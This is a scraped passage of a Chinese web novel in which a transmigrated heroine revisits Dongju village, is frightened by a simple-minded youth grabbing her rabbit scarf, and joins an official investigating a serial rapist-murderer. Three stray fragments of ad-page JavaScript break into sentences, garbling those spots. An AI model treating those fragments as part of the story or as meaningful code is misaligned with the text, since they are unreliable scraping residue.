我没有反驳,甚至没有诧异。 我和谢宁轩的异常,目睹过数次的二公子,不可能没有察觉。他会问出这句话,我也早能想到。 我认真盯着他,诚恳解释:“不,不是,是我变了,我不再是曾经的王羽书,我忘记了你,忘记了我们之间的过去。” “那你还会变回来吗?” 我垂下眼帘,无法直视他眼中的期许与伤痛。 “对不起。” 手臂禁锢的痛感乍然消失,是二公子松开了我。他无力的后退,眼中无光,喃喃着:“输了,我又输了。从小到大,我什么也比不过哥。读书写字,科举中第……现在,就连你的心,也属于他了。” 他倏地发出了笑声,捧腹弯腰,将苦涩的自嘲,生生变成了笑话。 “不,不是这样的!我承认,这次上京,于我、于王羽书而言,是全新的人生。在这部分篇章中,他的确对我意义非凡。”我很慌张,亦看不得他这样颓唐,“可你不用和他去比,每个人都有不同的人生,他……” “他也答应了娶你?明媒正娶,做他的正妻?”二公子打断了我,问的突兀。 我移开视线,不去看他脸上凝起的泪珠,只说:“我们还没有谈过这个问题,事实上,我们也没到这一步。” “但他会的,他做的到。”二公子轻笑一句,伸手擦拭着眼泪,“哥从来运筹帷幄,想做的事情就没有做不到的,父王、圣上、太后,都信任他,又宠着任着他。而我,而我……” “你也是如珠如宝的啊,在王妃心中,在王爷心中,也一定是独一无二。” “独一无二?是啊,王府唯一的嫡子,将来的世子,我是独一无二……”二公子笑着,却比冷脸还有凄苦。 他慢慢走到窗前,望向远方,目光空洞。 “太后听说我近来心情不佳,特招我前去安慰,说已经为我挑好了家世人品一流的世子妃。不管明年科举中第与否,世子尊位与姻缘,都会一道许我。嗬……” 二公子嗤笑一声,“羽书妹妹,你说可笑不可笑,无论我考成什么样,世子妃的人选,我始终没有话语权。” 我沉默着,不知如何安慰。 “其实输给我哥,我也不算冤。”二公子又开口了,他转过来,深深的看着我,“八年前我问你愿不愿答应做我的妾室,那样我就可以正大光明的带你进宫,免得你受离京苦楚。你当时就气愤不已,还咬了我一口。” 目光落在他的胳膊上,我惊诧了。 “这伤竟是……” 二公子涩笑着,眼底荡着悲伤:“羽书妹妹,你幼时就调皮活泼、特立独行,与京城那些闺阁小姐格格不入。我知道,做妾室委屈了你,你总是不愿的,是不是?” 是吗?原主,原来也是不屑为妾的吗? 当下我是茫然的。原主愤慨离开,是基于对妾室身份的反感,还是觉得儿时伙伴告白的过于突兀,亦或者讨厌将感情变成功利的交易,我也辨不清。 不过这段时间以来,他屡次的试探,小心翼翼的问话,不敢宣之于口的喜欢,我总算明白原因了。 可惜,王羽书的真实想法,我无法还原。然此时此刻,他既然抛出此问,不如借坡下驴,就让他这么认为,或许也是好事。 所以我还是轻轻点头,说:“是,太委屈了。我一向如此,受不得委屈,你不是知道吗?” “知道、知道……我总是这样,为着不该有的希望,为着看不清的人 ……做不出明智的选择……” 最后一点希望也被我踩灭,二公子垂下了头,捏拳绷肩,才止住了丝丝的颤抖。微弱的呜咽声中,我分不清他是在苦笑还是落泪。 王羽书,对不起,我还是伤害了你在意的人。 片刻后,他再次抬起了头,在我的诧异中,忽然发力,将我拉入了怀中。 我极愕然,条件反射就要推开。 他却将头抵在了我的肩膀,努力用平静温和的声音说:“不管怎么说,羽书妹妹,你永远都是我的羽书妹妹。我会照顾你,护着你,这是八年前离京时,我答应你的。” *** “小姐,天色不太好,怕是要下雨呀。咱们真的不在县城落脚?”垂云放下马车窗帘,担忧的问。 消失在视线中的,正是城楼上“秋水县城”四个大字。 是的,我已经出发四天了。 其实若要迅速赶回金华,我应该选择水路或者徽州、南阳一路,但我仍然按照原主北上的路线原路返回,为的就是将原主的遭遇尽量还原。 当日祖母收信得知孙女出事后,曾在回信中提及,金华王宅向来太平,甚少发生恶性事件。这就说明,针对原主的黑手,或是第一次下手。 橙橙此人、上京一路,一定能摸到些许端倪。 只是这样一来,本就舍近求远的路程选择,必然需要加快速度来弥补时间差。这可就苦了本以为能游山玩水的垂云垂柳,日日窝在马车上,都要发霉了。 行至秋水县,曾听我提及过的二人,也以为我怎么着都会小住一日,与赵大人叙叙旧。殊不知,那位谄媚功夫不亚于我爹,要是留宿,真未必能一日就撤。 不过这次经过秋水县城,进出盘问还挺严苛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,颠覆了我的印象。看来赵大人长进不少呐。 我抱歉的拍拍二人的手:“现在离京城还不太远,要不你俩还是回吧?这一路恐怕不得悠闲呢。” 垂柳打了个哈欠,还是摇头:“不行,都陪小姐出来了,哪还有回去的道理,郡主知道,也定要生气的。” “没事,我可以写信,她不会怪罪……” “小姐,真是不必了。”垂云含笑挽过我的手,温柔地说,“我们喜欢和你在一起,哪怕只能在马车上呆着。再说,一路南下吃不好睡不好,我们也实在不放心你一个人呀。” “就是就是!小姐就算不让我们服侍更衣洗漱,也离不开垂云的好手艺呀!这一路若没她在,你这发髻,可困难了呢!” 垂柳笑谈让我语塞,更觉心上暖洋洋,下定决心等案件一了,回程定要带她们好好玩耍。 “小姐,你刚才说,咱们今晚要赶到的村子,叫什么来着?” “东橘村,就是我穿……嗯,我落水醒来的地方。说起来,当日我从东橘村走到秋水县城,足足走了三天呢。好在咱们坐马车,脚程快多了。” “嘿嘿,那咱们去村里,要找的是谁啊?” “是一位糕点铺子的老板娘,我自河中苏醒,是她好心借我干净衣服来着。谢宁……嗯,谢侍郎派人查问过,我和那位叫橙橙的丫鬟,落水前住在东橘村,也曾去她家买过糕点。” “谢大人派人查过了?那小姐还要找她问什么?咦,”垂柳歪歪头,带着些许戏谑,“小姐还不相信谢大人的能力呐?” 垂云在一旁露出姨母笑。 自从那天谢宁轩在垂柳面前毫不避讳,这小妮子就似被打破了结界,没事儿就调侃我两句,连带着一贯稳重的垂云也跟着凑热闹。 “咳咳,”我唯有生硬的将话题控制在正经查案范畴,“谢侍郎的办案能力,自是没话说。只是,当事人和外人询问证人,获得的内容深度,或许会有差距。既要南下,自然要走访这重要的目击者。要不是时间不多,我还想把救起我的渔夫与下榻客栈小二一并问问呢。” 我说的一本正经,这俩丫鬟却笑得东倒西歪。 垂柳还抿嘴做鬼脸:“外人?哎呦,好重要的外人呐!咱们出发那日,小姐上马车时的东张西望,谁看不出实际在等着这位‘外人’呀?杨捕头来送口信的时候,小姐很失望的吧?” “肯定失望喽。”垂云接过话头,笑吟吟道,“谢大人寅夜被传诏入宫,天不亮就派出京办事,都没能来送小姐一程……失望的,也不止小姐一个啦。” 嘿,我说你们两个,是不是被买通了?日日提夜夜提,好像生怕我把他忘了似的。 就算当日有那一吻之缘,我也没下定决心就要答应他,心防远未卸完!怎么搞的似诸事已定,话里话外都把他当姑爷了嘞! 脑中又出现他贴来的唇,萦绕的气息,熟悉而心动的味道…… 咳咳,查案,查案,说正经的! 其实我坚持要见老板娘一面,坚持重返东橘村一趟,还有另一重考虑。 橙橙自十里驿得知前有天花的消息,很快就用某种法子害同行的丫鬟小厮感染,却放过了原主。真正导致原主死亡的落水,则发生在之后抵达的东橘村。 为什么?为什么在这里?为什么是落水? 在东橘村,是否还发生过隐秘的事,引发了橙橙的恶意,最终还是选择害死主子? 我总觉得,这一系列作为,矛盾、蹊跷,不合常理。作为原主失去生命的重要地点,东橘村,十分有必要重新考察。 何况,东橘村中有客栈,那我们今晚,也有地方住宿,无需后悔离开县城。 想的圆满,等我们真的抵达的时候,我却傻了眼。 97.采花大盗 东橘村不在官道边,不算繁华,也就沿着穿过村庄的蜿蜒小河,两旁有些店家。那糕点铺子的门头我还记得,很快便找去。谁知,不过黄昏,大门却紧闭。 “二小姐,打听了,说糕点铺子老板娘回娘家了,还没回来。” 马车外,是三殿下拨给我的护卫队长邓科,身上的雨笠已被打湿。 望着越来越大的雨势,垂柳急了。她本就出自御青王府,和邓科早就认识,说话自然也熟捻:“走了几天了?怎么还不回来!你们就没问问铺子还有其他人吗?不知道小姐着急呐!” 垂云心思细腻,问出重点:“可打听到娘家在哪?若是附近村落不远,咱们直接过去找她,可行吗?” 邓科表情却有些古怪,他看着紧闭的铺子门,压低声音道:“地址是问到了,村民却说现在不宜去寻,因为这地界不太平,少跑动少露面为好。” “不太平?什么意思?”垂柳好奇的钻出脑袋,不顾外面的瓢泼大雨。 邓科也不惯着她,直接推回她的脑袋,一面皱眉:“别把帘子掀这么大,小心雨点子蹦进去,二小姐会着凉!” “哦,我没事。你详说,这地界怎么了?”我也被吊起了胃口。 邓科谨慎的四下看看,喉结滚动:“此地正有采花大盗出没,几个村落都有人糟了毒手!” “采花……”两个丫鬟异口同声,脸色大变。 “小姐,咱们还是返回县城住一晚吧,您的安危要紧啊。”邓科建议。 我还没从巨大的信息量中缓和,职业病又上身了。我思索着问:“采花贼通常辱身不要命,这怎么还杀人了?官府介入调查了吗?” 邓科语塞,忙求助的看向垂云。 后者会意,倒是没来拦我,而是问:“小姐说东橘村应该有一家客栈,你们已经探查,不够安全,所以得回县城吗?” “嗨,那客栈倒闭了!” “倒闭了?”我一听也惊了。 这下麻烦了,不仅问不到当日见过原主和橙橙的小二等人,怕是今晚住宿都成问题了。 垂云垂柳也惶惶不已,都看向我,盼着我赶紧拿主意,是否要返回秋水县城。 可就在此时,马车东边又跑来一个蓑笠翁。奔近一瞧,原来也是我的护卫队员,急切地说:“小姐,不好了!返回县城的官道被雨冲塌了!现在只有人行能过的区域,马车过不去了!” “什么?”三个惊叫此起彼伏。 西边恰也跑来一个队员:“头儿,打听了!村子北头有个破败的土地庙,三两瓦房,可以去那将就一晚!” “土地庙?” “破败?有多破啊?” 答案是脏乱差,但瓦舍墙门俱全,遮风挡雨倒是可行。 是,当晚我们真的下榻到土地庙来了。秋雨自出京后时有不期而至,却都不像今日之倾盆。即便官道不被冲垮,恐怕短时间也返回不了县城。 而南下约一至两日的官道都修建在山中,大雨冲的道路崎岖不平,马车一路只能缓行,若再遇上滑坡泥石流,怕是自救都无出路。 哎,真是不走运,要找的人没找到,还拖慢了进度。 “小姐,别担心,明天雨肯定就停了。”垂云换下湿漉漉的裙子,一面还不忘安慰沮丧的我。 “采花大盗……这地界有采花大盗诶,住这儿能安全吗?”垂柳不安的左右看着。 “没事,别怕。”我安抚道,“破庙四周都有护卫队守卫,邓科不是三殿下的副手吗?身手极好,你俩知道的呀。别害怕,那什么采花大盗,绝不敢来袭。” “是呀,别自己吓自己,什么大盗呀,不就是一贼嘛。咱们这么多人,借他几个胆子也不敢来。”垂云说着,突然捂住鼻子,“阿嚏!阿嚏!” “伤风了?”我一惊,忙拉过包袱中的披风给垂云裹住,“定是你刚才淌水的缘故。糟了,没把风寒散带进来,是不是还放在马车里?” “不用,我……阿嚏!” “不行,你已经喷嚏不断了,今晚必得喝下一副风寒散预防。否则这地儿住一晚,你明天就得发热!” “是啊,这地方阴冷,最容易伤风了!”垂柳也急了,说着就打算去马车里取药。 “车厢里那个兔毛围脖,也取一下!小姐晚上能当枕头垫一垫,睡得会舒服……阿嚏!” “都什么时候了,还惦记我!”心下一暖,我很是感动,忙又掏出个披风再给她裹上。 “这是小姐的,我怎么……”垂云却还推开我的手。 “别你了我了,我不冷!你快围好,保暖要紧!” 垂云见我坚持,便没再推辞,朝我甜甜一笑。而余光扫射,她却惊问:“垂柳,你怎么没去?” 我一回头,这才发现垂柳脚步错顿,迟疑的不敢向前,正拼命咽着口水。 原来是害怕出去啊。 这也不能怪她,谁让决定来破庙过夜,一路也极是艰辛呢? 这庙位于村后头一处小山坡上,大雨将土路淹的泥泞不堪,还时不时有洼地。我们的马车就不幸陷入泥沼,费了好些功夫才推出来。 爬上土坡,偏这庙门紧锁打不开,又折腾好长时间才进入歇息。此时都快三更了。 呼呼冷风正顺着破了个洞的破庙窗户往里吹,带着森森的阴气。 “来来,你俩好好歇着,快把湿漉漉的鞋袜都换掉。我去,我去拿。” 垂云不答应:“小姐,还是我去……阿嚏!” “那我陪你,小姐!”垂柳也不放心,看看我又盯盯垂云,“这地方不安全!” “没事的,别怕,刚不是检查了吗?庙里安全。我……我也不自己去,我请邓科陪着,这下你俩可以放心了吧?都在庙里好好歇息,我去去就来。” “小姐……” “好了,别争了,就我去!” 别说了,我心里已经够不是滋味了。 即便身在奴籍,俩人本也是侍奉郡主的体面丫鬟,被拨到我身边,吃住降级,已经算是倒霉了。现在还要陪我历险……愧疚呐,我实在不想二人再受惊吓,索性强硬一波,坚决自己出了庙门。 门外,邓科正指挥护卫队团团围住破庙,的确给人强烈的安全感。 见我出来,邓科举着被风吹的恍惚不定的蜡烛,急忙迎来:“二小姐,怎么了?您没穿雨蓑怎么就出来了,雨虽小了,风却大,光打伞一会儿就会淋湿!” “垂云怕是伤风了,得喝点药。别光说我了,你们这样淋雨也不是个法子。都进破庙里吧,大家围在篝火前,一样安全,还能暖和些!” 邓科头摇成波浪鼓:“不行不行,属下怎么能和二小姐一个屋。何况三位姑娘,我们一群爷们,也不能……不行不行。” “这都什么情况了,还冥顽不化!大家挤在一起取暖,说严重点,就是保命呢!别在意这些,快,都进去!” “不行不行!”邓科一动不动,似乎还退了一步。 我无语了:“你……你不是管我叫二小姐吗?我命令你们进去,行不行?” “那也不行!三殿下说了,一切以小姐安危荣誉为先。我等进去,就违背殿下指令,属于唐突小姐荣誉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了!” “你……” 油盐不进,气死我算了。 “行行,那我去取风寒散,一会儿煮下你们每个人都喝一碗,这总行了吧?好在我带的多!这雨还不知道什么时候停,你们身上都湿了,伤风怎么办!” 邓科迟疑两秒:“二小姐去取?不如让属下去吧,在哪您告诉属下就是。” 不行啊。拜林霜玉所赐,准备的物件太多了,垂云垂柳放弃哪个都舍不得,马车被塞得满满。若非提前知道各物件的位置,大半夜还真难找。 “算了,咱俩一起吧。”我想了一下,就往山坡下走。 邓科也不敢拦,只好护在我身后,一面问我要不要再叫俩兄弟。 嗨,不就取个东西嘛,哪至于兴师动众,更何况,庙里那俩柔弱的妹子,我也放心不下呀。 “不用不用,马车停的多近呀。咱俩抓紧,分分钟取来。” “分……什么?” 邓科一怔,被我搅乱了心思,也忘了叫人陪同的事儿。一时间,小道上只余我二人的脚步声。 此时此刻的我,还不知道就这句脱口而出的现代俚语,将会成为今晚惊吓的导火索。 “嘶……”一众马儿都被拴在山坡下的树根,听到脚步声,不安的呼着粗气。 “二小姐,东西在哪?” 邓科与我凑着脑袋围在马车后的层层箱笼中,一层层翻找。三五个箱笼过后,总算翻到了装药的箱子。 我松口气,又想起垂云的叮嘱。忙道:“你找着,风寒散在左侧,多拿几包。我进一下马车,找个围脖,那玩意御寒,给垂云带上,保暖效果好一些。” “那蜡烛给你,二小姐。” “不用,我手上这个短的够了。” 说着,我已经爬上了马车,与邓科分头行事。 马车周遭湿漉漉,内里也散发着湿气,不太好闻。我捂着鼻子,在不充足的光芒下,费劲的翻着座垫。还不慎撞到头两次,发出了闷响。 诶,我记得就在这儿啊?临下马车前,我明明看见的呀。乱糟糟的衣服里,塞哪去了? 碎碎念着,我探头弯腰找了几次,才在座垫底下翻出。 “邓科,我找到了!你找到了没?”我将围脖挂上脖子,举着蜡烛掀开门帘,寻找我放在马车梆子上的油纸伞。 入目空空,油纸伞不翼而飞。 我一愣,只一秒,惊惧悚然传遍我的四肢,大脑瞬间空了。 “邓、邓科……你、你在哪……” 他不回答我,怎么回事,他怎么不回答我? 不会,不会……邓科为人极其靠谱,工作也超认真,相识这几日,从来都是随叫随到,绝不会不回答我。 浑身都僵硬了,我不敢往坏处想,喉咙更是一阵阵发紧,连呐喊都紧张到忘记。 下意识地,我捏了捏放在怀中的粉镯。好像有它在,我就能涌现无穷勇气。 我颤颤巍巍下了马车,一眼就看到马车后隐约闪烁的微光……那是蜡烛! 怎么掉地了? 雨水顺着树叶滴答,还是将蜡烛熄灭。在这关键一瞬,我终于看到邓科的脸。 他正歪着脖子倒在栓马的树墩旁,眼睛闭着。 “邓科!”我大叫起来,再也忍不住自己的恐惧,朝他奔去。“来人哪,快来人哪!” 天哪,方才的闷响声,不是我撞马车壁发出的?是有人、是有人打晕了邓科? 三两步跑到邓科跟前,就在我蹲下触手可碰之时,毫无预料的,一张惨白人脸突然贴到我的面前。 98.死变态 “啊啊啊啊啊……” 面大如盆,鼻豁眼斜,两颗瞳仁之间远的离奇,外眦上斜。 这是什么鬼东西! 恐惧烧掉了我的理智线,整个人僵硬如木,手上端着的一小截蜡烛,被风吹的飘摇不定。 来人一个□□跳蹦到我面前,不止是惨白的脸,毫无血色的脖颈,抽搐着指宽的青筋,都清晰可窥。 一双短而粗的手,瞬时朝我的脖子抓来。 我吓死了,嗷嗷高叫着。全凭下意识的身体反应,我猛地往后一坐,才逃出窒息的气味。 “来人……啊,救命啊!” 一秒不敢耽搁,顾不得满地泥泞,我用手撑地往后缩,两条腿像灌了铅一样,麻木、笨拙。 来人却灵活的堪比猴子,他再次朝我冲来。 蜡烛已经熄灭,四下黑漆漆,唯有昏暗的朦朦月光,与山坡上闪烁的火把亮光交错,越发将眼前的场景拢上了恐怖之色。 好在,我的尖叫声起了作用,山坡上此起彼伏响起呼唤我的声音。 来人却丝毫不受影响,又一个□□跳,他一把按住了我的脚腕。 “嘿嘿嘿嘿……小兔兔,往哪跑?”他张开嘴,一口东倒西歪的细碎牙齿,朝我呲了呲。 嘶哑、阴森的声线中,混合着我叫破喉咙的惊恐:“松手啊啊啊!” 他松手了。 却一击击中我的肩膀。两臂支撑的力气瞬间被打垮,我整个人倒向地面,重重磕倒。然不等我吃痛,他已经扑上来,压在我身上,压得我不能呼吸。 短粗五指再次向我的脖子袭来。 这一瞬间,无数血腥画面涌上我的大脑。好似看到自己躺在解剖台上,刺眼的白日光下,是我的面皮被一寸寸揭开…… 肾上腺素就在此刻爆发。 我嗷嗷高叫起来,趁着他双手掐向我脖子的动作,挥舞起我的双臂猛烈的砸向他。 然,拳头触感之下,竟如一堵承重墙,稳如泰山,丝毫没有动摇。 天哪,这到底是什么玩意! “二小姐,二小姐!” “王小姐,王小姐!” “羽书!” “小姐!” 此起彼伏又躁乱骇人的高叫声中,是密密麻麻的脚步声。 他们来救我了,来救我了! 可那人的手已经贴到了我的脖子处,我下意识秉住呼吸,意图保全最后的氧气。想象中的痛感未来,那双手,似是动作停滞。 脖子一空,他揪下了挡驾的围脖。 我靠,死变态,你要干嘛! 我厮打的更用力了。 身上的重压却在下一秒消失,那人忽地爬了起来。 此时火光逼近,保护我的侍卫们就要来了。我却看到,眼前的是个五短身材、面歪眼斜之人,他双手捧着一样东西,露出了狂热而痴呆的表情。 那东西是——我的围脖? “兔子,小兔子……嘿嘿嘿嘿!” *** “羽书!” 纷乱的高叫声中,吓傻到呆坐在地上的我,忽然辨出一声熟悉的、不该存在的呼唤,立时打了个激灵。 而谢宁轩,也就在此时,犹如神兵天降,突兀的出现在我眼前。 我眨了眨眼,不是在做梦吧?难道我已经被掐晕,这是回光返照了? 但在一众疾奔的护卫队中,冲在最前面,玄色披风呼呼飞扬,满脸满眼写满焦急与恐慌的,不正是谢宁轩吗! 我呆住了,任他奔至我面前,来不及打量我是否安好,就一把拉我入怀,紧紧箍住。像是怕失去珍宝,他力气之大,恨不得将我融入他的身体中。 “羽书,羽书,你没事吧!” 拔高八度的声线,几欲坠落的发髻,他颤抖着,后怕着。将我拉出怀瞧上一眼,就又塞入怀中,却依然抵挡不住一浪一浪的恐惧。 “羽书,羽书……” 耳旁一声声的呢喃,我终于敢伸手回抱住他。 温暖、宽厚,还带着丝丝潮气。 是他,是他,我没有做梦。 雨还在淅淅沥沥的下,却冲不走他怀中熟悉的味道。是安心、释然,让我什么时候闻见,都能真正放松下来的荷尔蒙气息。 “是你,真的是你……你怎么来了?”我喃喃问,还带着难以置信的恍惚。 “羽书,天哪,幸好我赶来了!你没事吧?”听到我的声音,谢宁轩总算定了神,他将我扶正,上下细细端详,“受伤了吗?哪里疼吗?” 我摇摇头,又听另一道熟悉的声音在狠厉骂着:“什么东西!竟敢欺负王小姐!你小子是要找死!” 我扭头一看,是小分队赶到,持着火把将行凶之人团团围住,正中冲入个男子对他拳打脚踢。 竟然是浮生? 什么情况,谢宁轩怎么会出现在这里?还带着浮生? 来不及问清楚,我先叫了声“别打了!”就要起身。 谢宁轩却一把抱起我,不由分说将我放在马车梆子上。他把披风解下来包住我,像抱一尊佛像般,把我拥到身前。 动作轻柔,可他侧目去瞧那人时,周身散发出冰冷的锐气,目光寒森。 浮生听到我的制止声,诧异的停了拳头。谢宁轩却铁青着脸,朝浮生又抬抬下巴。 浮生得令,就要更狠的揍那歹人。 但不对啊,他恐怕不是那采花大盗! “住手,快住手!”我急了,忙往马车下跳,被谢宁轩一把抱住。 “怎么了羽书?此人为非作歹,已害了三条性命,现竟然还敢袭击你!” “三……采花贼杀了三个人?天哪……”我震惊了,“垂云垂柳还在破庙!” “她们没事,我安排人守着的。” 稍松口气,我仍觉得不对劲。 “这个人,这个人好像不是袭击我,他……诶,对了,他袭击了邓科!天哪,邓科还活着吗?邓科!” “二、二小姐……”邓科虚弱的声音响起,在火把包围圈之外,他正被人扶着,捂着脑袋,“属下、属下没事。” “我去瞧瞧,我没受伤,我真的没受伤。”我朝谢宁轩申明,再次试图推开他。 “羽书,你别管……好,好吧,我扶你过去。”谢宁轩终是败下阵来,松开怀抱,拉着我的手一道前进。 “我手上都是泥……” 掌心热度纹丝未变。谢宁轩牢牢执着我,一言不发走入包围圈,冷冷盯着圈中之人。 众人视线集中处,是个穿着破破烂烂的麻布短衣之人,正捧着我的围脖,一遍遍抚摸。火光下瞧此人身量,竟只是十二三岁的模样。 蹊跷的是,他头顶上,戴着一顶虎头帽,脚下是一双破了洞的虎头鞋。这,分明是月子娃的扮相啊! 谢宁轩眉头一蹙,朝我投来诧异的目光。 我则盯着那条短小却毛茸茸,连接处还伸出两条长耳朵,做成兔子造型的围脖。 “兔子,小兔子……” 天哪,他刚才叫的,是我的围脖?并非对女性某种变态的臆想,他真的只是在叫兔子? 所以扑倒我、按下我,一双手却始终冲着我的脖子。也在解开围脖后,就捧着“小兔子”站了起来。 至于我,他根本没有放在眼中。自始至终,他要的都是这只所谓的兔子。 敏锐如谢宁轩,自也察觉到异常,大手一挥。浮生得令,一把将那人掀翻在地,露出了极其古怪,丑陋到骇人的五官。 众人皆是头皮发麻,他却恍若不问,唯抱着兔子,欣喜若狂。 *** “二傻!二傻!” 村中发出些动静,是几个村民也持着火把找来了。 我们所住的土地庙在东橘村北,山坡上。村子沿河展开,聚集区主要集中在河边。往北面山坡延伸而来的房屋逐渐稀落,直到山坡脚下,只有三两人家。 应该是听见了这边的动静,他们来瞧瞧怎么回事。 “二傻!二傻!你又滚哪去了?” 包围圈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中蹲着缩着,只直勾勾盯着兔子围脖的少年突然爬了起来。大家本都被村民的声音吸引,他这冷不丁一动,吓人一跳。 “干什么!蹲好!”浮生怒喝。 他却发出了嘶哑的喊叫,往包围圈外冲。“阿爹,阿爹!我逮着兔子了!” 村民中的一人急忙奔来,观穿着扮相,是个老头子,胡子拉碴、小眼塌鼻。 他探头探脑的叫嚷着:“二傻,二傻,你这是咋了?你们,你们什么人!把俺儿子咋了!” 浮生走出,厉声道:“刑部查案!你是什么人?叫什么叫?” 二傻的爹也傻了。 “刑、刑……啊?官府的?”二傻爹忙躬下腰,缩着脖子,抬眼偷觑,惶恐又不安。“俺儿,俺儿犯、犯……行了别叫了,什么兔子!” 生怕傻儿子惹祸的老爹话都说不利索,可儿子还在憨憨笑着,一个劲儿招揽老爹快去看他的宝贝。 他爹头都大了,忍不住吼了一嗓子,抱怨起来,“龟孙子一个看不住就蹿不见了!” “这是你儿子?”浮生居高临下地问,带着厌恶。 “是、是啊,他咋了?犯犯、犯啥事了?” “他咋了!他冲撞了王小姐,还想……”浮生吞下个字眼,怒问,“犯事,你儿子是不是犯事了?是不是干杀人越货的事了?” 二傻爹懵了,支支吾吾不敢回答。跟上来的几个村民则面面相觑。 一人小声说:“这就是个傻子,还能杀人?” 另一人搔搔头:“老卫头,他不是前些日子被你婆娘关进地窖了吗?我说你两口子也是,他这疯样早该拴起来!你们难得狠下心关住他,咋又给放出来了么!你看,冲撞人家夫人了吧!” 握着我的手一动,谢宁轩忽地前进一步,插口问道:“前些日子,具体是什么时候?” 老卫头还呆着。 “啧啧,问你话呢,快说呀!”浮生又催一句。 老卫头这才缓过神来,大人这是跟他说话呢,忙弓腰道:“有、有半个月了!这傻、傻货憨、憨的厉害,逮老鼠,逮到拆屋!俺婆娘、俺婆娘也是实在受不了,才关他……” “什么时候放出来的?”谢宁轩又问。 “就,今天呀……中午不是村长来了吗?这几天雨水多,村长挨家挨户提示收割的事,就听见他在地窖里嚎……”老卫头嘟囔着,“村长让放出来的嘛……” 谢宁轩眯了眯眼,没有说话。 我却意识到,他原本紧绷的臂膀放松下来了。 怎么,他也确定了,二傻不是采花大盗? 京官无召不得离京,这是我刚知晓他身份时,他就告诉我的。这次,我临出发前,他奉圣旨寅夜出京办事,也是北上,与我们现在方向完全不同。 那他刚好出现在此,结合他已经升任刑部左侍郎的职位来看,莫非,就是冲着采花大盗来的? “猜得很准。”谢宁轩朝我微笑,眸中清亮,“其实是我三日前回京,看到刑部接到了秋水县的协查请求,说近来出没采花大盗,半个月中已有三名女子遇害。昨日一早,我便请了旨,亲来调查。” “你来查这桩案子?” “是啊,秋水县在行政区域上虽隶属河南道,距离上却与京城更近。赵大人往刑部求助,虽有越级之嫌,却也是出于京城安危的考虑。这个赵大人的办案能力,你我都有体会,此案交给他办,我如何放心?” 谢宁轩话音一顿,又柔柔道,“何况,算着脚程,我就怕你这几日也在秋水县附近,恐有危险。” 心下一暖,我盯着他真挚的眉眼,理智又被碾压。 这时,浮生还在喝问。他看着二傻那憨样就怀疑:“这别不是装的?是不是在这糊弄人呢!那采花大盗,是不是就是他!” 老卫头方了,另两个村民也懵了,但见浮生气势如虹,哪敢应答。 唯有一旁没说话的一人,鼓起勇气小声道:“采花大盗……俺刚从村长家吃了晚饭来,听村长说,采花大盗今早落网了呀!” 99.另一封信 “小姐,天哪!你没事吧?” 回到土地庙的时候,两个丫鬟倚在门边焦急的都要冒烟了。一见谢宁轩抱着我进入,更是吓得眼泪汪汪。 “受伤了?难道受伤了?” 谢宁轩温柔的放下我,一面也说:“好好检查一下。树根处地面往往突起尖锐很多,你刚从那边爬过,小心手有划伤。” 两个丫鬟一听,紧张不已,一个二话不说就去打水,一个则慌张的去翻包袱,还差点撞到一起。 “没事,我真没事!”我赶紧申明,又伸了伸四肢,确认没有痛点。“还是去看看邓科吧,他是不是被砸到后脑了?” “安排人给他上药了,别担心。” “大人,王小姐,县城捕头水平行不行啊,抓对人了吗?这个二傻真的不是采花大盗?他太可疑了诶!”跟进来的浮生牵挂案情,仍难以置信。 谢宁轩却摇头:“协查申请上写的很清楚,半个月出现了三起凶杀,结合死者身上出现的伤痕、捆绑痕迹,确认是一起连环凶案,凶手锁定是同一人。二傻今天出现的虽然骇人,但他没有充足的作案时间。” “关在地窖……可说关了多久的,是他老爹呀。会不会包庇?” 这次,换我否定了:“二傻的傻不是装出来的,你看同村村民的反应,说明他痴傻由来已久。即,确实存在不管不顾抢东西就失误致死的可能。但这个采花大盗能在附近几个村落行事,必得谋划得当,又兼穿梭往来、从容脱身,以他智力怕是不能。” 谢宁轩颔首,又补充了一条线索,说此案有别于其他凶案的特征,不仅在于女子生前都被侵犯,符合采花贼的特征。更在于,死者死后,都被带入了县城。 我一听就惊了:“带入县城?” 浮生在一旁握手指,咔咔作响:“这个下三滥的玩意,搁家里杀了人家不说,还把尸体抛入县城。这明显是挑战官府!” 垂云端着水盆来,吓得差点掀翻。给我擦手的垂柳更是差点扑我怀里。 “通常,凶犯为了掩盖罪行,抛尸地都会选择杳无人烟的偏远地区。可凶手却将尸体丢弃城中,实乃蹊跷。”谢宁轩也说。 “反其道而行之……”我忍不住猜测,“会不会是熟人作案,为了不让官府追查到死者身份?” “不,死者面容没有毁损,通过画像挨村找,很快就落实了。至于挑战官府一说,我认为不至于。”谢宁轩扫一眼下属,“你忘了协查请求上写着,死者均被发现陈尸小巷吗?并非闹市,就与刻意闹大引发官府重视的目的相违背了。” 我也赞同:“嗯,有道理,抛尸的选择说明不是为了刻意引起轰动。那运进县城的意义何在?唔,有没有可能,人就是在县城内杀的?” “不太可能,协查请求说调查了三名死者最后的行踪,再计算死亡时间,不够脚程赶至县城。翻找她们的家,也有不同程度的血迹发现,似乎说明,案发地点是在各自家中。” 那就奇怪了,哪有杀人于郊外,刻意弃尸于城内的? “当然,这一点也佐证了,二傻绝不是采花大盗。就算秋水县城守卫再好糊弄,就算第一桩命案前守卫松懈,以二傻脑瓜,不动声色运入三具尸体,还是不可能。”谢宁轩下结论道。 哦,怪不得!我说这次路过秋水县城,盘问怎么那般严苛! 浮生犹疑着点头,还是信服了领导的推测,可话锋一转,他仍对二傻袭击邓科耿耿于怀。 好在,邓科马上就来解释了,事情的发生,竟然是一桩巧合。 “什么?你不是被从脑后打晕?” “什么?是他突然冒头,吓得你惊了马?” “什么?马踹到你的额头,把你踢晕了?” 异口同声的三个女声,让邓科愈发无地自容。 而被父亲带走前看见邓科的二傻,还指着他不断地叫“小贼”,更是将事件还原。 原来方才我与邓科走到马车旁,马儿不安的挪动着脚步,正代表着,它的周边,有个人在游走。 二傻自今日午后被放出,难得乖巧。老卫头夫妇一时松懈,加之大雨前忙着铺房顶毛毡,就没看紧他。 自小喜欢动物的二傻听到了一阵马蹄声,溜了出来。那倒霉的,自然就是我们了。 